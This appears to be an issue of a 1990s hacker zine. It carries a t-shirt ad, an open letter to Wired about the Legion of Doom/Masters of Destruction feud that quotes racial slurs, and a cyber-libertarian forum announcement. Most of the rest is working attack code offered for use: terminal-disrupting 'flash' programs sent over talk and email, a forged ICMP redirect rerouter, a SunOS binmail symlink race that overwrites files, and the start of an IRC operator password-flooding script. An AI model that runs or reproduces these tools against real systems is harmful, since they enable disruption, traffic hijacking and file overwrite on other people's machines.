Join the net luminaries world‑wide in owning one of these amazing shirts. Impress members of the opposite sex, increase your IQ, annoy system administrators, get raided by the government and lose your wardrobe!

Can a t‑shirt really do all this? Of course it can!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"THE HACKER WAR ‑‑ LOD vs MOD"

This t‑shirt chronicles the infamous "Hacker War" between rival groups The Legion of Doom and The Masters of Destruction. The front of the shirt displays a flight map of the various battle‑sites hit by MOD and tracked by LOD. The back of the shirt

has a detailed timeline of the key dates in the conflict, and

a rather ironic quote from an MOD member.

(For a limited time, the original is back!)

"LEGION OF DOOM ‑‑ INTERNET WORLD TOUR"

The front of this classic shirt displays "Legion of Doom Internet World Tour" as well as a sword and telephone intersecting the planet earth, skull‑and‑crossbones style. The back displays the

words "Hacking for Jesus" as well as a substantial list of "tour‑stops" (internet sites) and a quote from Aleister Crowley.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

All t‑shirts are sized XL, and are 100% cotton.

Cost is $15.00 (US) per shirt. International orders add $5.00 per shirt for postage.

Send checks or money orders. Please, no credit cards, even if it's really your card.

Name: ________________________________

Address: ___________________________________

City, State, Zip: ____________________________________

I want ____ "Hacker War" shirt(s)

I want ____ "Internet World Tour" shirt(s)

Enclosed is $______ for the total cost.

Mail to: Chris Goggans

603 W. 13th #1A‑278

Austin, TX 78701

These T‑shirts are sold only as a novelty items, and are in no way attempting to glorify computer crime.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[The editor's Open Letter to Wired Magazine...they actually had the nerve to print it in their May issue. Amazing...or was it? The letter was posted to 10 USENET newsgroups, put on the Wired forums on AOL, Mindvox and the Well, sent in email to every user of wired.com, faxed to all 7 fax machines at Wired and sent to them registered mail. Probably more than 5 times Wired's paid circulation saw it, so they HAD to print it or look foolish. At least, that's my take on it. Just for overkill, here it is again.]

To Whom It May Concern:

I am writing this under the assumption that the editorial staff at Wired will "forget" to print it in the upcoming issue, so I am also posting it on every relevant newsgroup and online discussion forum that I can think of.

When I first read your piece "Gang War In Cyberspace" I nearly choked on my own stomach bile. The whole tone of this piece was so far removed from reality that I found myself questioning what color the sky must be in Wired's universe. Not that I've come to expect any better from Wired. Your magazine, which could have had the potential to actually do something, has become a parody...a politically correct art‑school project that consistently falls short of telling the whole story or making a solid point. (Just another example of Kapor‑Kash that ends up letting everyone down.)

I did however expect more from Josh Quittner.

I find it interesting that so much emphasis can be placed on an issue of supposed racial slurs as the focus of an imaginary "gang war," especially so many years after the fact.

It's also interesting to me that people keep overlooking the fact that one of the first few members of our own little Legion of Doom was black (Paul Muad'dib.) Maybe if he had not died a few years back that wouldn't be so quickly forgotten. (Not that it makes a BIT of difference what color a hacker is as long as he or she has a brain and a modem, or these days at least a modem.)

I also find it interesting that a magazine can so easily implicate someone as the originator of the so‑called "fighting words" that allegedly sparked this online‑battle, without even giving a second thought as to the damage that this may do to the person so named. One would think that a magazine would have more journalistic integrity than that (but then again, this IS Wired, and political correctness sells magazines and satisfies advertisers.) Thankfully, I'll only have to endure one month of the "Gee Chris, did you know you were a racist redneck?" phone calls.

It's further odd that someone characterized as so sensitive to insults allegedly uttered on a party‑line could have kept the company he did. Strangely enough, Quittner left out all mention of the MOD member who called himself "SuperNigger." Surely, John Lee must have taken umbrage to an upper‑middle class man of Hebrew descent so shamefully mocking him and his entire race, wouldn't he? Certainly he wouldn't associate in any way with someone like that...especially be in the same group with, hang out with, and work on hacking projects with, would he?

Please, of course he would, and he did. (And perhaps he still does...)

The whole "racial issue" was a NON‑ISSUE. However, such things make exciting copy and garner many column inches so keep being rehashed. In fact, several years back when the issue first came up, the statement was cited as being either "Hang up, you nigger," or "Hey, SuperNigger," but no one was sure which was actually said. Funny how the wording changes to fit the slant of the "journalist" over time, isn't it?

I wish I could say for certain which was actually spoken, but alas, I was not privy to such things. Despite the hobby I supposedly so enjoyed according to Quittner, "doing conference bridges," I abhorred the things. We used to refer to them as "Multi‑Loser Youps" (multi‑user loops) and called their denizens "Bridge Bunnies." The bridge referred to in the story was popularized by the callers of the 5A BBS in Houston, Texas. (A bulletin board, that I never even got the chance to call, as I had recently been raided by the Secret Service and had no computer.) Many people from Texas did call the BBS, however, and subsequently used the bridge, but so did people from Florida, Arizona, Michigan, New York and Louisiana. And as numbers do in the underground, word of a new place to hang out caused it to propagate rapidly.

To make any implications that such things were strictly a New York versus Texas issue is ludicrous, and again simply goes to show that a "journalist" was looking for more points to add to his (or her) particular angle.

This is not to say that I did not have problems with any of the people who were in MOD. At the time I still harbored strong feelings towards Phiber Optik for the NYNEX‑Infopath swindle, but that was about it. And that was YEARS ago. (Even I don't harbor a grudge that long.) Even the dozen or so annoying phone calls I received in late 1990 and early 1991 did little to evoke "a declaration of war." Like many people, I know how to forward my calls, or unplug the phone. Amazing how technology works, isn't it?

Those prank calls also had about as much to do with the formation of Comsec as bubble‑gum had to do with the discovery of nuclear fission. (I'm sure if you really put some brain power to it, and consulted Robert Anton Wilson, you could find some relationships.) At the risk of sounding glib, we could have cared less about hackers at Comsec. If there were no hackers, or computer criminals, there would be no need for computer security consultants. Besides, hackers account for so little in the real picture of computer crime, that their existence is more annoyance than something to actually fear.

However, when those same hackers crossed the line and began tapping our phone lines, we were more than glad to go after them. This is one of my only rules of action: do whatever you want to anyone else, but mess with me and my livelihood and I will devote every ounce of my being to paying you back. That is exactly what we did.

This is not to say that we were the only people from the computer underground who went to various law enforcement agencies with information about MOD and their antics. In fact, the number of hackers who did was staggering, especially when you consider the usual anarchy of the underground. None of these other people ever get mentioned and those of us at Comsec always take the lead role as the "narks," but we were far from alone. MOD managed to alienate the vast majority of the computer underground, and people reacted.

All in all, both in this piece, and in the book itself, "MOD, The Gang That Ruled Cyberspace," Quittner has managed to paint a far too apologetic piece about a group of people who cared so very little about the networks they played in and the people who live there. In the last 15 years that I've been skulking around online, people in the community have always tended to treat each other and the computers systems they voyeured with a great deal of care and respect. MOD was one of the first true examples of a groupthink exercise in hacker sociopathy. Selling long distance codes, selling credit card numbers, destroying systems and harassing innocent people is not acceptable behavior among ANY group, even the computer underground.

There have always been ego flares and group rivalries in the underground, and there always will be. The Legion of Doom itself was FOUNDED because of a spat between its founder (Lex Luthor) and members of a group called The Knights of Shadow. These rivalries keep things interesting, and keep the community moving forward, always seeking the newest bit of information in a series of healthy one‑upsmanship. MOD was different. They took things too far against everyone, not just against two people in Texas.

I certainly don't condemn everyone in the group. I don't even know a number of them (electronically or otherwise.) I honestly believe that Mark Abene (Phiber) and Paul Stira (Scorpion) got royally screwed while the group's two biggest criminals, Julio Fernandez (Outlaw) and Allen Wilson (Wing), rolled over on everyone else and walked away free and clear. This is repulsive when you find out that Wing in particular has gone on to be implicated in more damage to the Internet (as Posse and ILF) than anyone in the history of the computing. This I find truly disgusting, and hope that the Secret Service are proud of themselves.

Imagine if I wrote a piece about the terrible treatment of a poor prisoner in Wisconsin who was bludgeoned to death by other inmates while guards looked away. Imagine if I tried to explain the fact that poor Jeff Dahmer was provoked to murder and cannibalism by the mocking of adolescent boys who teased and called him a faggot. How would you feel if I tried to convince you that we should look upon him with pity and think of him as a misunderstood political prisoner? You would probably feel about how I do about Quittner's story.

'Hacker' can just as easily be applied to "journalists" too, and with this piece Quittner has joined the Hack Journalist Hall of Fame, taking his place right next to Richard Sandza.

Quittner did get a few things right. I do have a big cat named Spud, I do work at a computer company and I do sell fantastic t‑shirts. Buy some.

With Love,

Chris Goggans

aka Erik Bloodaxe

phrack@well.com

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: DigitaLiberty@phantom.com

Subject: Announcing ‑ The DigitaLiberty Forum

PLEASE RE‑DISTRIBUTE THIS AS YOU SEE FIT

Friends of Liberty,

It is becoming increasingly apparent that the arrival of cyberspace is destined to engender a fundamental discontinuity in the course of human relations. This is a source of great optimism and opportunity for those of us who believe in freedom.

Many of you who participate in the lively debates that take place in these forums have seen a number of activist organizations spring up claiming to represent the cause of freedom. And if you are like me you have cheered these groups on only to watch them get bogged down in a quagmire of realpolitics.

It is a sad fact that the beast in Washington has evolved into a self‑perpetuating engine expert at co‑opting the principles of even the most ardent reformers. Slowly but surely all those who engage the system are ultimately absorbed into the mainstream miasma of majoritarianism. For example, what can be more discouraging than watching an organization that started out as a civil liberties group shift its focus to creating new forms of government entitlements while endorsing intrusive wiretap legislation because they didn't want to jeopardize their influence and prestige amongst the Washington power elite?

Some of us believe we can seek ultimate redress at the polls. Many pundits have declared our recent national elections a watershed in politics, a turning point that represents the high water mark of big government. Nonsense. The names have changed, the chairs have been rearranged, but the game remains the same. The so‑called "choices" we are presented with are false, hardly better than the mock one‑party elections held by failed totalitarian regimes. There must be a better way.

I would like to announce the formation of a new group ‑ DigitaLiberty ‑ that has chosen a different path. We intend to bypass the existing political process. We reject consensus building based on the calculus of compromise. Instead we plan to leave the past behind, much as our pioneering forefathers did when they set out to settle new lands. It is our mission to create the basis for a different kind of society. If you would like to join us I invite you to read the information below.

Yours in freedom,

Bill Frezza

Co‑founder, DigitaLiberty

December 1994

*** What is DigitaLiberty?

DigitaLiberty is an advocacy group dedicated to the principled defense of freedom in cyberspace. We intend to conduct this defense not by engaging in traditional power politics but by setting an active, persuasive example creating tangible opportunities for others to join us as we construct new global communities.

We believe deeply in free markets and free minds and are convinced that we can construct a domain in which the uncoerced choices of individuals supplant the social compact politics of the tyranny of the majority.

*** Is DigitaLiberty a political party or a lobbying group?

Neither.

DigitaLiberty does not seek to educate or influence politicians in the hope of obtaining legislation favorable to our constituents. We plan to make politicians and legislators irrelevant to the future of network based commerce, education, leisure, and social intercourse.

DigitaLiberty does not seek to persuade a majority of the electorate to adopt views which can then be forced upon the minority. We hope to make majoritarianism irrelevant. We invite only like minded individuals to help us build the future according to our uncompromised shared values.

*** What do you hope to accomplish?

DigitaLiberty is not hopeful that widespread freedom will come to the physical world, at least not in our lifetime. Too many constituencies depend upon the largess and redistributive power of national governments and therefore oppose freedom and the individual responsibility it entails. But we do believe that liberty can and will prevail in the virtual domains we are building on the net and that national governments will be powerless to stop us. We believe that cyberspace will transcend national borders, national cultures, and national economies. We believe that no one will hold sovereignty over this new realm because coercive force is impotent in cyberspace.

In keeping with the self‑organizing nature of on‑line societies we believe we will chose to invent new institutions to serve our varied economic and social purposes. DigitaLiberty intends to be in the forefront of the discovery and construction of these institutions.

*** But what about the construction of the "Information Superhighway"?

The fabric of cyberspace is rapidly being built by all manner of entities espousing the full range of political and economic philosophies. While political activity can certainly accelerate or retard the growth of the net in various places and times it cannot stop it nor can it effectively control how the net will be used.

Our focus is not on the institutions that can and will impact the building of the physical "information highway" but on those that will shape life on the net as an ever increasing portion of our productive activities move there.

*** What makes you think cyberspace will be so different?

The United States of America was the only country in history ever to be built upon an idea. Unfortunately, this idea was lost as we slowly traded away our liberties in exchange for the false promise of security.

DigitaLiberty believes that technology can set us free. The economies of the developed world are now making a major transition from an industrial base to an information base. As they do, the science of cryptology will finally and forever guarantee the unbreachable right of privacy, protecting individuals, groups, and corporations from the prying eyes and grasping hands of sovereigns. We will all be free to conduct our lives, and most importantly our economic relations, as we each see fit.

Cyberspace is also infinitely extensible. There will be no brutal competition for lebensraum. Multiple virtual communities can exist side by side and without destructive conflict, each organized according to the principles of their members. We seek only to build one such community, a community based on individual liberty. Others are free to build communities based on other principles, even diametrically opposed principles. But they must do so without our coerced assistance.

Effective communities will thrive and grow. Dysfunctional communities will wither and die. And for the first time in human history, rapacious societies will no longer have the power to make war on their neighbors nor can bankrupt communities take their neighbors down with them.

*** What does this have to do with my real life? I can't eat data. I don't live in a computer.

Yes, but imagine the ultimate impact of mankind's transition from an agrarian economy to an industrial economy to an information economy. Our founding fathers would have consider anyone insane who predicted that a nation of 250 million could feed itself with fewer than 3% of its citizens involved in agriculture. Similarly, economists and politicians trapped in the policies of the past lament our move from a manufacturing economy to a knowledge worker and service based economy. We see this as a cause to rejoice.

The day will come when fewer than 5% of the citizens of a nation of 1 billion will be involved in manufacturing ‑ if we still bother calling geographically defined entities "nations". What will the rest of us be doing? We will be providing each other with an exploding array of services and we will be creating, consuming, and exchanging information. Most of this will occur entirely within or be mediated at least in part by our activities in cyberspace.

Many of us will earn a very good living on the net. Our race, our religion, our gender, our age, our physical appearance and limitations will all be irrelevant and undetectable. Hard working individuals from underdeveloped nations who in the past might have been forced to emigrate in search of economic freedom and opportunity can now build productive lives in cyberspace. And much if not all of the wealth we create that we do not transform into visible physical assets will be ours to keep and use, beyond the grasp of sovereigns.

*** What is the purpose of this forum?

The DigitaLiberty Forum is a place where like minded individuals can share their views, observations, and strategies related to the development of virtual communities based on freedom. It is a place where people can exchange information and advice about how they have developed extra‑territorial business and social relationships ‑ away from the influence and outside the jurisdiction of governments. It is a forum for the posting of essays, questions, and ideas on the topic of liberty. It is a place where we can meet and debate the forms that our new institutions might take and discuss the practical problems and responsibilities that freedom entail.

In time as our technology matures some of us will move on to more ambitious projects, launch other programs, and begin our virtual migration from the swamp of coerced collectivism. Best of all, there will be no need to physically move to 'Galt's Gulch' or escape to a floating 'Freedonia'. We can all participate in this exodus without hastily quitting our jobs or disrupting our lives. And as a larger and larger portion of our economic and social activities move onto the net we will create a new society, open to all with the will to enter. This new world will be interleaved with the physical world in which we now live and yet will be separate. And free.

Join us as we begin the journey.

*** Who can join DigitaLiberty?

The DigitaLiberty Forum is open to anyone that can honestly answer yes to the following two questions:

1) I renounce the use of coercive force as a tool of social or economic policy.

2) I do not derive the majority of my income from funds taken from taxpayers.

*** How do I join DigitaLiberty?

If you qualify, send a message to DigitaLiberty‑request@phantom.com with the words "SUBSCRIBE" in the subject line and the message body as follows

SUBSCRIBE DigitaLiberty <your name>

And welcome to the future.

###

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* flash3.c */

/*

Modified from the original by Vassago. Superflash mods unknown. Try the PhoEniX FTP Site: wentz21.reslife.okstate.edu in /pub. */

/*

This little program is intended to quickly mess up a user's terminal by issuing a talk request to that person and sending vt100 escape characters that force the user to logout or kill his/her xterm in order to regain a sane view of the text. It the user's message mode is set to off (mesg n) he/she will be unharmed.

Try compiling with: gcc ‑o flash flash3.c

Usage: flash user@host [<level>]

Level is either the number or the word for these:

1) BASIC ‑ Old flash, no zmodem.

2) ZMODEM ‑ Old with ZModem.

3) KILLER ‑ 99 ZModem flashes.

*/

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netdb.h>

#include <stdio.h>

#include <strings.h>

#include <string.h>

#include <ctype.h>

#define BASIC 1

#define ZMODEM 2

#define KILLER 3

#define FIRST "\033(0\033#8"

#define SECOND "\033[1;3r"

#define THIRD "\033[1;5m\033(0"

#define FOURTH "**\030B00"

#define FIFTH "\033**EMSI_IRQ8E08"

/* Comment this to remove the debugging message... */

#define INFOMESSAGE

/* this should really be in an include file.. */

#define OLD_NAME_SIZE 9

#define NAME_SIZE 12

#define TTY_SIZE 16

typedef struct {

char type;

char l_name[OLD_NAME_SIZE];

char r_name[OLD_NAME_SIZE];

char filler;

u_long id_num;

u_long pid;

char r_tty[TTY_SIZE];

struct sockaddr_in addr;

struct sockaddr_in ctl_addr;

} OLD_MSG;

typedef struct {

u_char vers;

char type;

u_short filler;

u_long id_num;

struct sockaddr_in addr;

struct sockaddr_in ctl_addr;

long pid;

char l_name[NAME_SIZE];

char r_name[NAME_SIZE];

char r_tty[TTY_SIZE];

} CTL_MSG;

int seed = 0x2837;

#define TALK_VERSION 1 /* protocol version */

/* Types */

#define LEAVE_INVITE 0

#define LOOK_UP 1

#define DELETE 2

#define ANNOUNCE 3

int current = 1; /* current id.. this to avoid duplications */

struct sockaddr_in *getinaddr(char *hostname, u_short port)

{

static struct sockaddr addr;

struct sockaddr_in *address;

struct hostent *host;

address = (struct sockaddr_in *)&addr;

(void) bzero( (char *)address, sizeof(struct sockaddr_in) );

/* fill in the easy fields */

address‑>sin_family = AF_INET;

address‑>sin_port = htons(port);

/* first, check if the address is an ip address */

address‑>sin_addr.s_addr = inet_addr(hostname);

if ( (int)address‑>sin_addr.s_addr == ‑1)

{

/* it wasn't.. so we try it as a long host name */

host = gethostbyname(hostname);

if (host)

{

/* wow. It's a host name.. set the fields */

/* ?? address‑>sin_family = host‑>h_addrtype; */

bcopy( host‑>h_addr, (char *)&address‑>sin_addr, host‑>h_length);

}

else

{

/* oops.. can't find it.. */

puts("Flash aborted, could not find address.");

exit(‑1);

return (struct sockaddr_in *)0;

}

}

/* all done. */

return (struct sockaddr_in *)address;

}

SendTalkPacket(struct sockaddr_in *target, char *p, int psize)

{

int s;

struct sockaddr sample; /* not used.. only to get the size */

s = socket(AF_INET, SOCK_DGRAM, 0);

sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) ); }

new_ANNOUNCE(char *hostname, char *remote, char *local)

{

CTL_MSG packet;

struct sockaddr_in *address;

/* create a packet */

address = getinaddr(hostname, 666 );

address‑>sin_family = htons(AF_INET);

bzero( (char *)&packet, sizeof(packet) );

packet.vers = TALK_VERSION;

packet.type = ANNOUNCE;

packet.pid = getpid();

packet.id_num = current;

bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr)); strncpy( packet.l_name, local, NAME_SIZE);

strncpy( packet.r_name, remote, NAME_SIZE);

strncpy( packet.r_tty, "", 1);

SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); }

old_ANNOUNCE(char *hostname, char *remote, char *local)

{

OLD_MSG packet;

struct sockaddr_in *address;

/* create a packet */

address = getinaddr(hostname, 666 );

address‑>sin_family = htons(AF_INET);

bzero( (char *)&packet, sizeof(packet) );

packet.type = ANNOUNCE;

packet.pid = getpid();

packet.id_num = current;

bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr)); strncpy( packet.l_name, local, NAME_SIZE);

strncpy( packet.r_name, remote, NAME_SIZE);

strncpy( packet.r_tty, "", 1);

SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) ); }

int rnd()

{

seed *=0x1243;

seed = seed & 0xFFFF;

seed +=1;

while(seed>10000)seed‑=10000;

return(seed);

}

pop(char *hostname, char *username, char *flashstring)

{

char newflashstr[80];

int e = rnd();

sprintf(newflashstr,"%d%s",e,flashstring); new_ANNOUNCE(hostname, username, newflashstr); old_ANNOUNCE(hostname, username, newflashstr);

}

flash(int type, char *hostname, char *username)

{

char firestring[10];

int x,y;

current=0;

if (type == 3) y = 14;

else y = 1;

for(x=0;x<y;x++)

{

current++;

pop(hostname, username, FIRST);

current++;

pop(hostname, username, SECOND);

current++;

pop(hostname, username, THIRD);

if(type>1)

{

current++;

pop(hostname, username, FOURTH);

current++;

pop(hostname, username, FIFTH);

current++;

pop(hostname, username, FOURTH);

}

current++;

pop(hostname, username, FIRST);

}

return(current);

}

GetType(char *TypeStr)

{

if (strcmp(TypeStr,"basic")==0)

return(1);

else if (strcmp(TypeStr,"zmodem")==0)

return(2);

else if (strcmp(TypeStr,"killer")==0)

return(3);

else if (strcmp(TypeStr,"1")==0)

return(1);

else if (strcmp(TypeStr,"2")==0)

return(2);

else if (strcmp(TypeStr,"3")==0)

return(3);

}

main(int argc, char *argv[])

{

char *hostname, *username;

int pid,type,name;

if ( (pid = fork()) == ‑1)

{

perror("fork()");

exit(‑1);

}

if ( !pid )

{

exit(0);

}

if (argc < 2) {

puts("USAGE: flash user@host [<flash type>]");

puts("Types are: 1) basic, 2) zmodem, 3) killer."); puts("Default flash type is zmodem.");

exit(5);

}

if (argc >= 3) {

type=GetType(argv[argc‑1]);

if(type<1||type>3)type=ZMODEM;

}

else type=ZMODEM; /* default */

for(name=1; name<argc‑1; name++)

{

username = argv[name];

if ( (hostname = (char *)strchr(username, '@')) == NULL )

{

puts("Aborted, invalid name. ");

exit(‑1);

}

*hostname = '\0';

hostname++;

if (*username == '~')

username++;

#ifdef INFOMESSAGE

printf("Sending a type #%d flash to %s@%s. (%d messages)\n", type,username,hostname,

flash(type,hostname,username));

#else

flash(type,hostname,username);

#endif

sleep(1);

}

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*

Mail Flash ‑ (C) 1994 CHA0S All Rights Reserved

This is a simple program which demonstrates the problem with certain parts of VT100 emulation. Previously similar programs made use of talkd, but a user could stop attempts by simply entering "mesg n". This program sends the "flash" string which will really screw over a terminal in the SUBJECT header of e‑mail. E‑Mail readers such as pine show you this before you can decide to even delete the mail!

Support has been added to choose your own SMTP server for neat‑o hostname spoofing. (krad!)

*/

#include <stdio.h>

#include <sys/param.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netdb.h>

#include <stdarg.h>

void smtp_connect(char *server);

int thesock; /* the socket */

void smtp_connect(char *server)

{

struct sockaddr_in sin;

struct hostent *hp;

hp = gethostbyname(server);

if (hp==NULL) {

printf("Unknown host: %s\n",server);

exit(0);

}

bzero((char*) &sin, sizeof(sin));

bcopy(hp‑>h_addr, (char *) &sin.sin_addr, hp‑>h_length); sin.sin_family = hp‑>h_addrtype;

sin.sin_port = htons(25);

thesock = socket(AF_INET, SOCK_STREAM, 0); connect(thesock,(struct sockaddr *) &sin, sizeof(sin));

}

void main(int argc, char **argv)

{

char buf[1024];

if (argc != 4) {

printf("usage: mflash smtp_server from to\n");

exit(0);

}

printf("Connecting to SMTP Server %s\n",argv[1]); smtp_connect(argv[1]);

printf("Sending Mail Flash To %s\n",argv[3]);

sprintf(buf, "helo a\nmail from: %s\nrcpt to: %s\ndata\nSUBJECT: \033c\033(0\033#8\033[1;3r\033[J\033[5m\033[?5h\n.\nquit\n",argv[2],argv[3]); send(thesock, buf, strlen(buf), 0);

/* I am not sure how to check when this buffer is done being sent.

If you are having any problems increase the sleep time below! */

printf("Sleeping To Make Sure Data Is Sent ...\n");

sleep(3);

printf("Done!\n");

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[Editor's Note: Does this work? I don't think so, but a clever hacker might use the code to do something "interesting." The concept is sound...the delivery needs a bit of tweaking.]

#include <netdb.h>

#include <sys/time.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/ip_icmp.h>

#include <netinet/tcp.h>

#include <signal.h>

#include <errno.h>

#include <string.h>

#include <stdlib.h>

#include <stdio.h>

int

resolver(host,saddr)

char *host;

struct sockaddr_in *saddr;

{

struct hostent *h=gethostbyname(host);

bzero(saddr,sizeof(struct sockaddr)); saddr‑>sin_family=AF_INET;

if (h!=NULL)

{

saddr‑>sin_family=h‑>h_addrtype;

bcopy(h‑>h_addr,(caddr_t)&saddr‑>sin_addr,h‑>h_length); return(0);

}

else

{

fprintf(stderr,"juju‑router: unknown host ``%s''\n",host); return(‑1);

}

return(0);

}

in_cksum(addr,len)

u_short *addr;

int len;

{

register int nleft = len;

register u_short *w = addr;

register int sum = 0;

u_short answer = 0;

/* This function was taking from existing ICMP nuke code and

was presumably originally stripped from a ``ping.c'' implementation. */

while( nleft > 1 )

{

sum+=*w++;

nleft‑=2l;

}

if( nleft == 1 )

{

*(u_char *)(&answer) = *(u_char *)w;

sum+=answer;

}

sum=(sum>>16)+(sum& 0xffff);

sum+=(sum>>16);

answer=~sum;

return(answer);

}

int

icmp_reroute(host,uhost,port,code)

char *host, *uhost;

int code, port;

{

struct sockaddr_in name;

struct sockaddr dest, uspoof;

struct icmp *mp;

struct tcphdr *tp;

struct protoent *proto;

int i, s, rc;

char *buf=(char *) malloc(sizeof(struct icmp)+64);

mp=(struct icmp *) buf;

if (resolver(host,&dest)<0) return(‑1);

if (resolver(uhost,&uspoof)<0) return(‑1);

if ((proto=getprotobyname("icmp")==NULL))

{

fprintf(stderr,"fatal; unable to determine protocol number of ``icmp''\n"); return(‑1);

}

if ((s=socket(AF_INET,SOCK_RAW,proto‑>p_proto))<0)

{

perror("opening raw socket");

return(‑1);

}

name.sin_family=AF_INET;

name.sin_addr.s_addr=INADDR_ANY;

name.sin_port=htons(port);

if ((rc=bind(s,(struct sockaddr *) &name, sizeof(name)))==‑1) {

fprintf(stderr,"fatal; error binding sockets\n"); return(‑1);

}

if ((proto=getprotobyname("tcp")==NULL))

{

fprintf(stderr,"fatal; unable to determine protocol number of ``tcp''\n"); return(‑1);

}

bzero(mp,sizeof(struct icmp)+64);

mp‑>icmp_type = ICMP_REDIRECT;

mp‑>icmp_code = code;

mp‑>icmp_ip.ip_v = IPVERSION;

mp‑>icmp_ip.ip_hl = 5;

mp‑>icmp_ip.ip_len = htons(sizeof(struct ip)+64+20); mp‑>icmp_ip.ip_p = IPPROTO_TCP;

mp‑>icmp_ip.ip_src = ((struct sockaddr_in *)&dest)‑>sin_addr; mp‑>icmp_ip.ip_dst = ((struct sockaddr_in *)&dest)‑>sin_addr; mp‑>icmp_gwaddr = ((struct sockaddr_in *)&uspoof)‑>sin_addr; mp‑>icmp_ip.ip_ttl = 150;

mp‑>icmp_cksum = 0;

tp=(struct tcphdr *)((char *)&mp‑>icmp_ip+sizeof(struct ip)); tp‑>th_sport = 23;

tp‑>th_dport = htons(1499);

tp‑>th_seq = htonl(0x275624F2);

mp‑>icmp_cksum = htons(in_cksum(mp,sizeof(struct icmp)+64));

if ((i=sendto(s,buf,sizeof(struct icmp)+64,0,&dest,sizeof(dest)))<0) {

fprintf(stderr,"fatal; error sending forged packet\n"); return(‑1);

}

return(0);

}

void

main(argc,argv)

int argc;

char **argv;

{

int i, code;

if ((argc<4) || (argc>5))

{

fprintf(stderr,"usage: juju‑router target new‑destination port code\n"); fprintf(stderr,"codes: 0 _REDIRECT_NET 1 _REDIRECT_HOST (default)\n"); fprintf(stderr," 2 _REDIRECT_TOSNET 2 _REDIRECT_TOSHOST\n"); exit(1);

}

printf("juju‑router: rerouting dynamically....");

if (code!=0 && code!=1 && code!=2 && code!=3) code=0;

if (icmp_reroute(argv[1],argv[2],argv[3],code)<0)

{

printf("failed.\n");

exit(1);

}

printf("succeeded.\n");

exit(0);

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#!/bin/sh

# tmpmail: overwrite files using binmail

#

# Usage: tmpmail to‑file

#

# (c) [8lgm] 1994, tested under SunOS 4.1.2.

#

#

# Note: Script only works if mail is suid root.

# Other vendors may use tmpnam("ma").

#

# This vulnerability can be exploited for sgid

# mail binmails, the only modification would

# be to predict the pid of the mail process

# created by sendmail. This would be 4 forward

# of the current pid ‑ assuming a 'quiet' system.

#

# Will create to‑file, or truncate.

PATH=/usr/ucb:/usr/bin:/bin export PATH

IFS=" " export IFS

PROG="`basename $0`"

# Check args

if [ $# ‑ne 1 ]; then

echo "Syntax: $PROG to‑file"

exit 1

fi

TO_FILE="$1"

# Check we're on SunOS

if [ "x`uname ‑s`" != "xSunOS" ]; then

echo "Sorry, this only works on SunOS"

exit 1

fi

# Create our racing program!

cat > mailrace.c << 'EOF'

#include <stdio.h>

#include <unistd.h>

char path[] = "/tmp/maaXXXX";

main(argc,argv)

int argc;

char **argv;

{

int pid;

char *trv;

if (argc != 3) {

fprintf(stderr, "Usage: %s pid tofile\n", argv[0]); exit(1);

}

pid = atoi(argv[1]);

/* Stolen from mktemp.c */

for (trv = path; *trv; ++trv); /* extra X's get set to 0's */

while (*‑‑trv == 'X') {

*trv = (pid % 10) + '0';

pid /= 10;

}

symlink("/tmp/ShortSong", path);

while(symlink(argv[2], path));

exit(0);

}

EOF

cc ‑o mailrace mailrace.c

# Check we now have mailrace

if [ ! ‑x "mailrace" ]; then

echo "$PROG: couldnt compile mailrace.c ‑ check it out" exit 1

fi

# create some input for binmail

echo localhost $USER > /tmp/BlueRoom.$$

./mailrace $$ $TO_FILE &

exec /bin/mail ‑d $LOGNAME < /tmp/BlueRoom.$$

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

########################################

# # ## ### # # ## ### Attempts to hack IRC operator status by

# # # # # # # # # # # flooding the server with bogus passwords

#### #### # ## # # # # of various lengths. Works on all servers

# # # # # # # # # ### I've tested so far..

# # # # ### # # ## # v1.3+path ‑ Illegible 8

########################################

set NOVICE off

# #

### Bogus passwords.. don't change these. Other passwords don't work. (?) # #

@ HackOP.A = [EACAGCGPGGGICADNCAFLGJGMGMGFGHGJGCGMDIFN]

